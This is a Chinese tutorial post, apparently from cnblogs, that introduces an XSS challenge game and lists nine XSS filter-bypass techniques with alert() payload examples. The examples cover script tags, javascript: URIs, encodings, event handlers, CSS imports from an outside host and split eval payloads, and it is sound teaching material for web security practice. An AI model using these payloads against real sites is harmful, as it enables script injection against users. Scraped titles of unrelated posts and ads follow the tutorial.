XSS闯关游戏准备阶段及XSS构造方法

请下载好XSS闯关文件后,解压后放在服务器的对应文件夹即可

在该闯关中,会在网页提示一个payload数值

payload,翻译过来是有效载荷



通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,比如数据量的大小、校验位等,这样就相当于给已经分批的原始数据加一些外套,这些外套起标示作用,使得原始数据不易丢失,一批数据加上“外套”就形成了传输通道的基本传输单元,叫做数据帧或数据包,而其中的原始数据就是payload

payload指安全测试数据,即在当前网页上输入后传入的有效数据数


xss构造方法

此段来自: 马开东博客 网址:http://www.makaidong.com



no.1 利用<>标记注射html/javascript

  如果用户能随心所欲引入<>标记,那他就能操作html标记,然后就能通过<script>标签插入js 恶意脚本了,例如:

  <script>alert(‘xss‘);</script>

  当然如果对"<>"和script等进行了过滤,上面这个就无法执行了

no.2 利用html标签属性值执行xss

  很多html标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入xss可乘之机,例如:

  <img src = "javascript:alert(‘xss‘);">

  这里即便对传入的参数过滤了<>,xss还是能发生(前提是该标签属性需要引用文件)

no.3 空格/回车/tab

  假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:

  <img src = "java  script:alert(‘xss‘);" width=100>

  这里之所以能成功绕过,其实还得益于js 自身的性质:javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略

  而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号

  像<img src = "javas

    cript:

    alert(/xss/); width=100> 同样能绕过

no.4 对标签属性值进行转码

  过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用

其他形式表示标签,脚本仍能解析却可以绕过过滤

  常见的编码方式有:html实体编码(&#ascii),十进制、十六进制、八进制编码,unicode编码及escape编码及使用string.fromcharcode(...)绕过

  因此<img src = "javascriptt&#alert(/xss/);">可以实现绕过

  另外还可以把、、 等字符插入代码的头部或任意地方

no.5 产生自己的事件  

  如果不能依靠属性进行跨站,那么还可以利用事件处理函数

  <input type = "button"  value = "click me" onclick="alert(‘click me‘)" />

  事件既能让js 脚本运行,自然也可以执行跨站,另外像onerror、onmouseover等都可利用的是事件处理函数

no.6 利用css跨站剖析

  之所以说css样式表是个很不错的载体,是因为css不需要嵌入到html代码中,可以直接从文件或其他地方进行引用. 另外css同样隐蔽、灵活,不过不同浏览器之间不能通用,如:

  <div style = "list-style-image:url(javascript:alert(‘xss‘))">

  <link rel = "stylesheet" href = "http://www.xxx.com/atack.css">

  <style type = ‘text/css‘>@import url(http://www.xxx.com/xss.css);</style>

  <style>@import ‘javascript:alert(‘xss‘);‘</style>

no.7 扰乱过滤规则

  大小写混用:<img src = "javascript:alert(0);">

  不使用引号或者构造全角字符也能扰乱过滤规则

  还有像css中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:

  <img src = "java/*javascript:alert(‘xss‘)*/script:alert(1);">

no.8 充分使用字符编码

  上面说到过编码,这里加以补充,除了像&#ascii,其实也可以采用?、?、?  等形式,同样j 的形式也是可以的

  <script>eval("\61\6c\65......");<script>

  如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用

no.9 拆分跨站法

  拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:

  <script>z=‘document.‘</script>

  <script>z=+‘write‘("‘</script>

  <script>z=z+‘<script‘</script>

  ......

  <script>eval(z)</script>   //eval函数可以将字符串的内容直接执行

  另外除了像上面多次提交,也可以引用其他变量如:eval(quserinfo.spacename)形式,由于quserinfo.spacename是可控变量,因此改变其值就可以绕过长度限制了

遵守规则,明白什么地方可变,什么地方不可变

准备进入挑战



原文地址:https://www.cnblogs.com/laoxiajiadeyun/p/9937465.html

时间: 2024-10-12 08:42:19

XSS闯关游戏准备阶段及XSS构造方法的相关文章

网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞, 比如SQL注入攻击, XSS攻击. 本文将简述SQL注入攻击的原理, 并分享下关卡设计, 其在打开潘多拉魔盒的情况下, 又能很好地限制危害. 效果展示: 先打下广告: 网页闯关游戏入口(请狠狠地点击我, ^_^). 本文的想法实施于第十一关--健忘的教授. 很直接的呈现一个登陆对话框, 考验玩家

网页闯关游戏(riddle webgame)--游戏玩法和整体介绍

前言: 记得上大学那会, 有位传说中的大牛, 写了一个网页闯关类的游戏. 当时我们玩得不亦乐乎, 也是第一次接触到这种形式的游戏. 不过当时纯玩家心态, 并没有想过去创造一个. 最近想起这事, 突然想复制实现一个类似的网页闯关游戏. 说干就干, 抄起家伙, 就是一顿猛打, ^_^. 期间的坎坷曲折暂且不表, 甚至中途自觉江郎才尽差点放弃, 所幸最后终于完工, 愿意和大家一起分享该游戏. 展示: 网页闯关游戏, 更多的被称为riddle, 是一种考验搜索, 推理, 分析能力的闯关模式游戏. 用户群

网页闯关游戏(riddle webgame)--仿微信聊天的前端页面设计和难点

前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 本文讲描述, 如何在网页端实现一个仿微信的聊天窗口界面, 以及其中涉及到的一些技术点. 作者前端是初学者, 请大拿们轻拍. 效果展示: 先打下广告: 网页闯关游戏入口(请狠狠地点击我, ^_^) . 仿微信窗口的设计源于第四关--倾听女神的故事. 这种聊天对话的布局模式, 比PC端QQ的那种聊天方式更贴近移动端, 我个人感觉. 需求设定:

网页闯关游戏(riddle webgame)--H5刮刮卡的原理和实践

前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 对于刮刮卡, 想必大家都很熟悉, 也很喜欢这种方式. 你可能会很好奇, 它是如何实现的呢? 本文将阐述其原理, 并结合具体实例来演示如何借助H5的canvas来实现类刮刮卡的效果. 展示效果: 网页闯关游戏入口(请狠狠地点击我, ^_^) http://magic.mmxfgame.com. H5刮刮卡的实例源自第六关--拜访东方不败的故

射击闯关游戏,旧王已死、新王当立?

射击类游戏的最佳形态是电子竞技?比如<穿越火线> 街机.单机时代的<魂斗罗>.<合金装备>等闯关型射击游戏体验,不再适合移动手游时代? 射击类游戏需要更真实.更热血,最好如昆丁塔伦蒂洛的电影一样,拳拳到肉.血浆横飞?比如<使命召唤>? 曾经占据游戏机.单机和联机游戏极大份额的射击游戏们,在移动时代只能扮演有益补充? 射击类游戏混的似乎不太好?不是没有缘故的,根本原因就是长期自由搏击,而忘记了,其实关卡才是最能吸引用户的所在? 关卡.关卡.关卡!你还在自由搏击

《报任安书》文言文化常识闯关游戏

<报任安书>文言文化常识闯关游戏 原文地址:https://www.cnblogs.com/arbo/p/11192228.html

《报任安书》文言文化常识闯关游戏&#183;网络版

<报任安书>文言文化常识闯关游戏 暂时还是不行 原文地址:https://www.cnblogs.com/arbo/p/11192471.html

【原创】红客闯关游戏部分题解

工具: IE11.0 , CHROME 35.0.1916.114 m , DREAMWEAVER8.0 , MICROSOFT VISUAL STUDIO 2010 , www.cmd5.com MD5解密 ,tool.chinaz.com Unicode编码转换工具. 第0关: 1.IE打开页面,查看源.如果该页面中有跳转到下一关的入口,那么在源码中就有下一页面的URL.href 属性就是用于指定超链接目标的 URL.通过在源码中查找"href",定位到如下语句: <div

宝来雍拓客新零售闯关游戏系统开发

宝来雍拓客闯关新零售系统开发app,找庄经理:185651879719微/电 宝来雍拓客新零售卖货引流系统开发.宝来雍拓客三三复制新零售系统开发.宝来雍拓客新零售吸粉工具系统开发.宝来雍拓客新零售消费198闯关系统开发.特别提示:本公司是软件开发公司,非平台方,玩家勿扰宝来雍系统介绍:1.宝来雍拓客体系:消费+任务闯关就能获得客户拓客游戏一共13关.2.完成3个任务,找系统自动匹配的13位商家消费16次就可以完13关.3.第一个任务就是,把卖货不求人的方法分享给3个卖货的商家才可以闯第二关.第二